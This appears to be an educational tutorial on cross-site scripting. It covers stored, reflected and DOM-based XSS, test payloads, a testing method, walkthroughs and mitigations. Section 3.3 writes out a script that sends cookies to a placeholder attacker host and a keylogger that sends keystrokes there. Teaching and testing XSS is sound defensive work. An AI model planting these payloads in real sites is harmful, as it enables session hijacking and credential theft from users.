**Day 17 — XSS (Cross-Site Scripting) Attacks**

Definition • Types • Payloads • Keyloggers • Practical Walkthrough (TryHackMe) • Examples & Mitigations

**⚠️ Ethical Use Only**

This document is for educational and authorized testing only. Do not perform any testing on systems you do not own or have explicit permission to test.

# 1. What is XSS?

Cross-Site Scripting (XSS) is a web vulnerability where untrusted input is processed and rendered as executable code in a victim’s browser. It typically occurs due to improper input handling and output encoding, enabling attackers to inject JavaScript that runs in other users’ sessions.

* Impact: session hijacking, credential theft, keylogging, phishing, UI redressing, defacement.
* Root cause: unsafe reflection or storage of user input; insecure DOM handling on the client side.
* Context matters: HTML, attribute, JavaScript, style, and URL contexts each require different encodings.

# 2. Types of XSS

## 2.1 Stored (Persistent) XSS

The malicious payload is permanently stored on the server (e.g., database, comment thread, profile). Every visitor who loads the vulnerable page executes the attacker’s script.

Minimal demo payload (for testing):

<script>alert('Stored XSS')</script>

HTML attribute fallback (in case <script> is filtered):

<img src=x onerror=alert("Stored XSS")>

## 2.2 Reflected (Non-Persistent) XSS

The malicious payload is delivered in the request (URL, form) and immediately reflected by the server’s response. Attackers commonly use phishing links to trick victims into clicking.

Example crafted URL with a <script> alert:

https://vuln.example.com/search?q=%3Cscript%3Ealert('Reflected%20XSS')%3C/script%3E

If the server reflects the parameter without encoding, the alert will execute in the victim’s browser.

## 2.3 DOM-Based XSS

The vulnerability exists purely in client-side JavaScript. The page’s scripts read attacker-controlled data (e.g., URL hash, query) and write it into dangerous DOM sinks (e.g., innerHTML) without sanitization.

Insecure client-side code example:

// Vulnerable: writing attacker-controlled data into innerHTML  
const frag = location.hash.substring(1);  
document.getElementById('output').innerHTML = frag;

Example URL that triggers DOM XSS via fragment:

https://vuln.example.com/#%3Cscript%3Ealert('DOM%20XSS')%3C/script%3E

## 2.4 Comparison Table

|  |  |  |  |
| --- | --- | --- | --- |
| Type | Where Payload Lives | How It Triggers | Typical Vector |
| Stored | Server/DB | When page is viewed | <script>, onerror, onload |
| Reflected | Request/URL | On clicking crafted link | Query param → HTML |
| DOM-Based | Client JS / DOM | Client-side DOM update | location.hash → innerHTML |

# 3. XSS Payloads (Testing & Beyond)

## 3.1 Basic Test Payloads

<script>alert('XSS')</script>  
<img src=x onerror=alert('XSS')>  
<svg/onload=alert('XSS')>  
<a href="javascript:alert('XSS')">click</a>

## 3.2 Context-Aware Payloads

HTML context (break out of text node):

<script>alert(1)</script>

Attribute context (break out and add an event handler):

"><img src=x onerror=alert(1)>

JavaScript context (escape quotes/close statement):

';alert(1);//

URL/JS URL context:

javascript:alert(1)

## 3.3 Exfiltration Examples (Education Only)

Cookie exfiltration (often blocked by HttpOnly/SameSite):

<script>  
fetch('https://attacker.example/steal?c='+encodeURIComponent(document.cookie));  
</script>

Simple DOM keylogger snippet:

<script>  
document.addEventListener('keypress', e => {  
 fetch('https://attacker.example/log?k='+encodeURIComponent(e.key));  
});  
</script>

# 4. How to Perform XSS Testing (Methodology)

1. Map inputs: search bars, comment boxes, profile settings, feedback forms, URL parameters, fragments (#hash).
2. Probe with harmless payloads first (e.g., alert).
3. Check server reflection and stored persistence; inspect page source and network responses.
4. For DOM XSS, inspect front-end code for sinks (innerHTML, document.write, insertAdjacentHTML, outerHTML, eval).
5. Escalate payloads carefully in a safe lab environment (e.g., keylogger, cookie read) to demonstrate impact.

# 5. Practical Walkthroughs

## 5.1 Reflected XSS — Step-by-Step Example

Assume a search page reflects q= back into HTML without encoding.

1. Open: https://vuln.example.com/search?q=test
2. Replace q with a payload:

https://vuln.example.com/search?q=%3Cscript%3Ealert('Reflected%20XSS')%3C/script%3E

If an alert box appears, the input was executed as script (reflected XSS).

## 5.2 Stored XSS — Step-by-Step Example

1. Navigate to a comment form on a blog/forum that displays comments to all users.
2. Submit a comment containing a payload:

<img src=x onerror=alert("Stored XSS")>

When any user views the page, the alert fires — demonstrating persistent impact.

## 5.3 DOM XSS — Step-by-Step Example

Given the following JS on the page:

// Insecure  
const q = new URLSearchParams(location.search).get('q');  
document.getElementById('results').innerHTML = q;

Craft a URL:

https://vuln.example.com/page?q=%3Cimg%20src%3Dx%20onerror%3Dalert('DOM%20XSS')%3E

# 6. TryHackMe Practice (Recommended)

Practice in a legal sandbox. TryHackMe has beginner-friendly rooms such as “XSS” and web basics labs where you can reproduce reflected, stored, and DOM XSS in a safe environment. Work through tasks that involve injecting payloads into forms, URLs, and fragments; observe behavior; and answer room questions to reinforce learning.

# 7. Detection & Prevention (Blue Team View)

* Prefer context-aware output encoding (HTML, attribute, JS, URL).
* Avoid dangerous sinks (innerHTML, document.write). Prefer textContent, setAttribute, createTextNode.
* Validate and sanitize input; on the client, use DOMPurify if rendering HTML is unavoidable.
* Set cookies Secure, HttpOnly, SameSite=Lax/Strict to reduce theft impact.
* Deploy Content Security Policy (CSP) to restrict inline scripts and untrusted sources.
* Use security scanners and unit tests to catch regressions; consider SAST/DAST tooling.

# Appendix A — Common Sinks & Safer Alternatives

|  |  |
| --- | --- |
| Dangerous Sink | Prefer / Safer Alternative |
| innerHTML, outerHTML, insertAdjacentHTML | textContent, innerText, createTextNode |
| document.write() | DOM creation APIs |
| eval(), new Function() | Avoid; use JSON.parse, safe parsers |
| setTimeout/Interval with string | Pass function references instead of strings |